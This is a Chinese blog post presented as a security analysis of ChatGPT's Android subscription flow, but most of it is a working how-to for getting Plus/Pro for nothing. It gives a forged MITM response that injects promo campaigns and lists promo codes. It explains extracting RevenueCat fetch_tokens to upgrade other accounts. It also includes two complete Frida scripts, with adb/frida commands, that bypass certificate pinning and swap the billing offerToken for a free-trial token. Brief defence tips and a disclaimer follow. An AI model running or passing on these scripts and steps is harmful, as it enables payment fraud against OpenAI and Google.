视频加载失败

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

3237 字
16 分钟
GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅
微信二维码

联系方式 & 交流群

  • 微信: gzs-47

进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~


⚠️ 时效性提醒(2026-07 更新):本文发布于 2026 年 4 月,距今已过去 3 个月。文中方案三(批量开 Pro)已在发布时标注为已修复;方案一(API 响应注入)和方案二(offerToken 替换)经过近 3 个月,当前可用性存疑,OpenAI/Google 可能已加强校验。本文保留仅供安全研究与技术原理学习参考。


前言#

今天给大家带来一个相当有意思的支付安全案例分析。这个漏洞的核心在于 ChatGPT 安卓客户端在调用 Google Play Billing 时,服务端未对订阅凭证进行二次校验,导致攻击者可以通过两种方式实现 Plus/Pro 权益的零元订阅。

先说结论:这不是传统意义上的”破解”,而是典型的业务逻辑漏洞。漏洞根源在于 Google Play Billing 过度信任客户端传入的优惠凭证,且未与服务端进行资格校验。

两种攻击方式对比#

攻击方式攻击点技术难度需要 Root稳定性
方式一:API 响应注入HTTP 层(MITM)依赖服务端校验
方式二:offerToken 替换内存层(Frida)更稳定

方式一:API 响应注入(无需 Root)#

攻击原理#

ChatGPT 安卓应用在启动时会调用以下接口获取当前登录用户信息:

GET https://android.chat.openai.com/backend-api/accounts/check/v4-2023-04-27

响应包中包含 eligible_promo_campaigns 字段,用于存储当前账号可用的优惠活动。正常情况下,这个字段由服务端根据账号资格动态返回。

通过中间人攻击(MITM),我们可以修改响应包,强行插入优惠码。

环境准备#

必要条件

  • 美区谷歌账号 × 1(任意区均可,非必须英区)
  • 任意美卡 × 1(用于绑定账号,实际不扣费)
  • 安卓设备 × 1(需 Root 以安装 MITM 证书,模拟器亦可)

工具链

  • MITM 抓包工具(推荐 HttpCanary 或 Charles)
  • Root 权限管理工具(Magisk)
  • ChatGPT 安卓客户端

可用优惠码#

固定优惠码(每次可用)

优惠码效果稳定性
3-day-free-trial3 天免费试用固定可用
plus-1-month-free-trial1 个月免费试用固定可用
1-month-10-dollars半价优惠($5/月)固定可用
pro-winback-1-month-freePro 挽回试用 1 个月特定资格账号

特殊优惠码(限时/限资格)

优惠码效果说明
2wqkodfx51z2x6 个月免费试用限时优惠
2ispxs5mtgz3512 个月免费试用限时优惠

这些优惠码是固定的,每次都可以使用。这也是为什么外面卡网可以持续生产低价 Plus 会员的根本原因。

构造优惠响应#

以下是注入 1 个月免费试用优惠的响应包示例:

{
"eligible_promo_campaigns": {
"plus": {
"id": "plus-1-month-free",
"metadata": {
"plan_name": "chatgptplusplan",
"title": "linux.do",
"summary": "你已获得 1 个月的 Plus 套餐优惠促销代码。",
"discount": {
"percentage": 100
},
"credit_grant": null,
"duration": {
"num_periods": 1,
"period": "month"
},
"schedule": null,
"price_period": "recurring",
"promotion_type": "discount",
"promotion_type_label": "1-month free trial",
"no_auto_renewal_at_discount_end": true,
"plan_type_change": null
}
}
}
}

关键字段说明

  • discount.percentage: 100 表示 100% 折扣(即 0 元)
  • duration.num_periods: 优惠持续时间(1 表示 1 个月)
  • no_auto_renewal_at_discount_end: true 表示优惠结束后不自动续费

零元订阅与风控绕过#

修改响应后重新打开 ChatGPT 应用,点击升级即可看到免费试用界面。

由于是 0 元订阅,Google Play 的风控级别极低,仅需通过验卡环节即可完成订阅。这也是为什么需要提前绑定一张美卡的原因——不是为了扣费,而是为了通过 Google 的风控验证。

提取订阅凭证#

订阅成功后,ChatGPT 会向 RevenueCat 回调接口发送订阅凭证:

POST https://api.revenuecat.com/v1/receipts

拦截该请求,提取响应中的 fetch_token 字段:

{
"fetch_token": "xxxx",
...
}

这个 fetch_token 就是订阅凭证。将其保存后,即可用于给其他账号开通 Plus 权益。


方式二:offerToken 内存替换(需要 Root)#

攻击原理#

ChatGPT Android 调用 Google Play Billing 时,把当前 SKU 的默认 offerToken 传给 Google Pay。这时候就可以在内存里把这个 token 替换成 plus-1-month-free-trialofferToken,让 Google Play 按免费试用处理。实际支付金额就是 0 刀。

工作本质:并非攻击 OpenAI 的服务器,而是在用户本地设备上篡改客户端与 Google Play 之间的计费数据。

环境准备#

设备/工具用途
Root 的 Android 手机需要刷 Magisk
Windows 电脑用于运行 Frida 客户端和 ADB
Frida HLUDA Server正常版本谷歌有检测 Hook 会闪退

四步攻击流程#

第一步:通过 Frida 的 Java.choose 接口遍历内存中名为 c3q 的混淆计费类实例,利用反射强制访问其私有字段 b(对应 offerId)与 c(对应 offerToken)。

第二步:脚本持续比对,当发现某个实例的 offerId 与目标免费试用档位一致、且其 offerTokenAdumm 为前缀时,将该 offerToken 捕获并缓存。

第三步:对 Android 系统框架层的三个方法进行 Hook,分别为:

  • android.content.Intent.putExtra(String, String)
  • android.os.Bundle.putString(String, String)
  • android.os.Bundle.putStringArrayList(String, ArrayList)

在 ChatGPT 客户端发起付费订阅购买请求的瞬间,Hook 代码识别到即将写入的原始付费档位 offerToken(同样以 Adumm 开头),即将其替换为此前已缓存的免费试用 offerToken

第四步:经篡改后的购买请求被 Google Play 按”免费试用成功”处理支付成功后并返回成功回执。

可用优惠码#

优惠码效果
2wqkodfx51z2x6 个月免费
2ispxs5mtgz3512 个月免费

完整 Frida 脚本(简化版)#

下面是经过整理的简化版 Hook 脚本,移除了复杂的动态捕获逻辑,直接注入已知的免费试用 offerToken:

/**
* GPT Plus 免费订阅 Hook 脚本 - 简化版
* 用途:Hook Google Play Billing,直接替换 offerToken 为免费试用
*
* 使用方法:
* 1. 手机 Root 并安装 Magisk
* 2. 推送 frida-server 到手机并运行
* 3. 电脑端运行:frida -U -f com.openai.chatgpt -l hook.js
* 4. 在 ChatGPT App 中点击订阅
* 5. 自动替换为免费试用,扣费 0 元
*/
"use strict";
// 配置区域:免费试用 offerToken(GPT Plus 1 个月)
var OFFER_TOKEN = "AdummIvzNOk965s/0UOf08hi8zE1QBQA0qHs28TasLNjkP+H9peebMqSzAJF85XTHZsGLhCLb8sUqKa79ScsbZ1UI8MnOiU9VvkCLLFXKQHE1K9KRT9pYVT2qZz0SC9N9IEs3jhI+hkaTkvc/Vc=";
var _keepAlive = setInterval(function() {}, 1000);
function log(msg) { console.log("[GPT] " + msg); }
Java.perform(function() {
log("启动 — 注入 plus-1-month-free-trial");
// SSL 解除(防止证书验证失败)
try {
var TM = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TM.checkTrustedRecursive.overload(
"[Ljava.security.cert.X509Certificate;", "java.net.Socket",
"boolean", "boolean", "boolean",
"java.util.Collection", "java.util.Collection"
).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
} catch(_) {}
try {
Java.use("android.security.net.config.NetworkSecurityTrustManager")
.checkPins.implementation = function() {};
} catch(_) {}
try {
Java.use("android.net.http.X509TrustManagerExtensions")
.checkServerTrusted.overload(
"[Ljava.security.cert.X509Certificate;",
"java.lang.String", "java.lang.String"
).implementation = function() { return Java.use("java.util.ArrayList").$new(); };
} catch(_) {}
// 注入 offerToken(Bundle 层)
var JStr = Java.use("java.lang.String");
try {
var Bundle = Java.use("android.os.Bundle");
Bundle.putStringArrayList
.overload("java.lang.String", "java.util.ArrayList")
.implementation = function(key, value) {
if ((key === "SKU_OFFER_ID_TOKEN_LIST" ||
key === "OFFER_ID_TOKEN_LIST") && value) {
for (var i = 0; i < value.size(); i++)
value.set(i, JStr.$new(OFFER_TOKEN));
log("offerToken 已注入");
}
return this.putStringArrayList(key, value);
};
} catch(_) {}
// 注入 offerToken(JSONObject 层)
try {
var JSONObj = Java.use("org.json.JSONObject");
JSONObj.$init.overload("java.lang.String").implementation = function(s) {
if (s && s.indexOf("oai.chatgpt.plus") !== -1 &&
s.indexOf("offerToken") !== -1) {
var patched = s.replace(
/"offerToken"\s*:\s*"[^"]+"/g,
'"offerToken":"' + OFFER_TOKEN + '"'
);
return this.$init(patched);
}
return this.$init(s);
};
} catch(_) {}
log("就绪。请在 ChatGPT 中点击订阅按钮。");
});

完整 Frida 脚本(动态捕获版)#

如果你拿到的 offerToken 格式有变化,可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换:

// Dynamic offerToken — 1 MONTH FREE Plus trial
Java.perform(function () {
console.log('[*] plus-1-month-free-trial');
var TARGET_OFFER_ID = "plus-1-month-free-trial";
var capturedToken = null;
function scanC3qInstances() {
try {
Java.choose('c3q', {
onMatch: function (inst) {
try {
var clazz = inst.getClass();
var bF = clazz.getDeclaredField('b'); bF.setAccessible(true);
var cF = clazz.getDeclaredField('c'); cF.setAccessible(true);
var offerId = bF.get(inst);
var offerToken = cF.get(inst);
var oidStr = (offerId === null) ? '(default)' : ('' + offerId);
var tokStr = (offerToken === null) ? 'null' : ('' + offerToken);
if (tokStr.indexOf('Adumm') === 0 && oidStr === TARGET_OFFER_ID) {
capturedToken = tokStr;
console.log(' >>> FOUND ' + TARGET_OFFER_ID + ' <<<');
}
} catch (e) {}
},
onComplete: function () {}
});
} catch (e) {}
}
setInterval(function () {
if (!capturedToken) Java.perform(scanC3qInstances);
}, 3000);
var Intent = Java.use('android.content.Intent');
var Bundle = Java.use('android.os.Bundle');
function maybeSwap(orig, ctx) {
if (!orig || orig.indexOf('Adumm') !== 0) return orig;
if (!capturedToken) Java.perform(scanC3qInstances);
if (capturedToken) {
console.log('[' + ctx + '] SWAP -> ' + TARGET_OFFER_ID);
return capturedToken;
}
return orig;
}
Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function (k, v) {
return this.putExtra(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Intent') : v);
};
Bundle.putString.implementation = function (k, v) {
return this.putString(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Bundle') : v);
};
Bundle.putStringArrayList.implementation = function (k, list) {
try {
if (list !== null) for (var i = 0; i < list.size(); i++) {
var v = list.get(i), sv = '' + v;
if (sv.indexOf('Adumm') === 0) list.set(i, maybeSwap(sv, 'BundleArr'));
}
} catch (e) {}
return this.putStringArrayList(k, list);
};
console.log('[+] Open subscription page first.');
});

使用说明(简化版脚本)

  1. 启动 Frida 服务端

    在手机上执行:

    Terminal window
    adb push frida-server /data/local/tmp/
    adb shell chmod 755 /data/local/tmp/frida-server
    adb shell su -c '/data/local/tmp/frida-server &'
  2. 注入脚本

    在电脑端执行:

    Terminal window
    frida -U -f com.openai.chatgpt -l hook.js

    看到 [GPT] 启动 — 注入 plus-1-month-free-trial 后继续。

  3. 完成购买

    在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。

    控制台应该显示 [GPT] offerToken 已注入,支付金额显示为 0 元。

使用说明(动态捕获版脚本)

  1. 手机 Root 并安装 Magisk
  2. 推送 frida-server (HLUDA 版本) 到手机并运行
  3. 打开 ChatGPT 应用,进入升级 - 订阅 Plus 页面
  4. 电脑端运行 frida -U -f com.openai.chatgpt -l script.js 开启脚本
  5. 脚本会自动捕获并替换 token(控制台显示 SWAP -> plus-1-month-free-trial
  6. 在订阅页面点击升级,弹出的谷歌支付弹窗即显示 0 元
  7. 完成验证后订阅成功

注意事项

  • 建议使用简化版脚本,更稳定
  • 如果简化版不工作,再尝试动态捕获版
  • 使用 HLUDA 版本 Frida 可绕过部分检测
  • 部分设备可能需要关闭 Google Play 保护机制

漏洞根源分析#

方案一:API 响应注入#

漏洞根源:服务端未校验 eligible_promo_campaigns 中优惠码的获取途径合法性,仅验证格式有效即允许使用。

修复状态:部分修复。目前部分优惠码已与账号资格绑定,但固定优惠码仍可使用。

方案二:offerToken 替换#

漏洞根源:Google Play Billing 信任客户端传入的 offerToken,未与服务端二次校验账号是否真正具备该优惠的使用资格。

修复状态:未修复。这是 Google Play Billing 的设计缺陷,需要谷歌层面修复。

方案三:批量开 Pro(已修复)#

这是之前某个公益 Bot 使用的大规模开 Pro 方案:

  1. 正价开通一个 ChatGPT Pro 账号
  2. 在客户端内点击”降级为 Plus”
  3. 客户端向 RevenueCat 请求新的 fetch_token
  4. 该 token 为一次性凭证,未使用前可无限生成
  5. 将 token 分发给需要开 Pro 的账号

漏洞根源:RevenueCat 作为第三方订阅管理平台,与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 fetch_token 的来源合法性,仅验证 token 格式有效即开通权益。

修复状态:该方案已被修复。目前 fetch_token 已与设备指纹和账号绑定,无法跨账号使用。


技术总结#

漏洞类型#

  • 业务逻辑漏洞:服务端过度信任客户端传入的订阅凭证
  • 第三方集成风险:RevenueCat/Google Play Billing 回调接口缺乏鉴权
  • 优惠码校验缺失:未校验优惠码的获取途径合法性和账号资格

攻击链关键点#

  1. 中间人攻击可行性:安卓客户端未启用 SSL Pinning(或可被 Root 绕过)
  2. 内存 Hook 可行性:Google Play Billing 未检测 Frida 等 Hook 框架
  3. 零元订阅风控宽松:Google Play 对 0 元交易验证级别低
  4. 凭证复用漏洞fetch_token/offerToken 未与账号/设备绑定

防御建议#

对开发者的建议#

  1. 服务端校验:所有订阅状态变更必须与 Google Play Billing 侧二次确认
  2. 凭证绑定fetch_token/offerToken 应绑定设备指纹、账号 ID、时间戳
  3. 优惠码校验:记录优惠码使用历史,检测异常使用模式
  4. SSL Pinning:移动端应用应启用证书锁定防止中间人攻击
  5. 反 Hook 检测:检测 Frida、Xposed 等 Hook 框架

对用户的提醒#

  1. 此类漏洞属于灰色地带,使用可能导致账号被封禁
  2. 绑定的支付方式存在潜在风险,建议使用虚拟卡
  3. 漏洞随时可能被修复,不建议作为长期使用方案

法律免责声明#

本文仅用于技术研究与安全交流,请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律:

  • 《中华人民共和国网络安全法》
  • 《计算机信息网络国际联网安全保护管理办法》
  • 美国 Computer Fraud and Abuse Act (CFAA)

如因滥用本文技术导致的法律后果,作者不承担任何责任。


参考资料#


标签: #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

相关文章智能推荐
1
焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门
漏洞分析深入拆解传说中的「焚决」——通过 Tampermonkey 油猴脚本劫持 checkout_capabilities API 响应,前端注入 cassia 支付流,配合随机德国 IBAN 实现 Claude Max/Pro 零元订阅。完整技术分析:Fetch/XHR 双通道拦截、SEPA CORE 直接借记清算机制、MOD 97-10 校验算法局限性、客户端信任边界漏洞的通用攻击框架与防御方案。
2
0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解
漏洞分析深度拆解最近在群里疯传的 ChatGPT Plus 0 PHP 开通方法:日区注册 → 美区提 Token → 第三方工具生成 Checkout → 菲律宾 BIN 完成支付。跨区信号碎片化制造歧义,第三方工具利用异常路径注入零元参数。三种假说的完整技术分析。
3
虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密
漏洞分析深度分析一起针对 ACG-Faka + BEpusdt 的真实攻击事件:攻击者通过两条路径窃取支付密钥——下载 Web 根目录残留的备份文件,或利用 Nginx 配置错误直读 Config.php 源码——进而伪造合法回调通知批量盗取卡密。附官方安全公告、五站实测审计结果与完整防御方案。
4
newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证
Security深度分析 newapi 充值漏洞:攻击者如何利用空 Stripe 密钥绕过 HMAC-SHA256 签名验证,实现零成本任意金额充值
5
GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路
安全研究深度剖析 GPT Plus Android 订阅架构:Google Play purchase token 如何通过 RevenueCat 中间层实现跨账号转移,从原理到 ADB 提取、MITM 拦截、API 调用的完整实战指南。
随机文章随机推荐
Profile Image of the Author
47工作室
47工作室:记录技术实践与安全研究。
公告
欢迎来到 47工作室!微信:gzs-47
分类
标签
最新动态
站点统计
文章
39
分类
16
标签
165
总字数
121,285
运行时长
0
最后活动
0 天前
站点信息
构建平台
Local
博客版本
站点 vunknown
文章许可
CC BY-NC-SA 4.0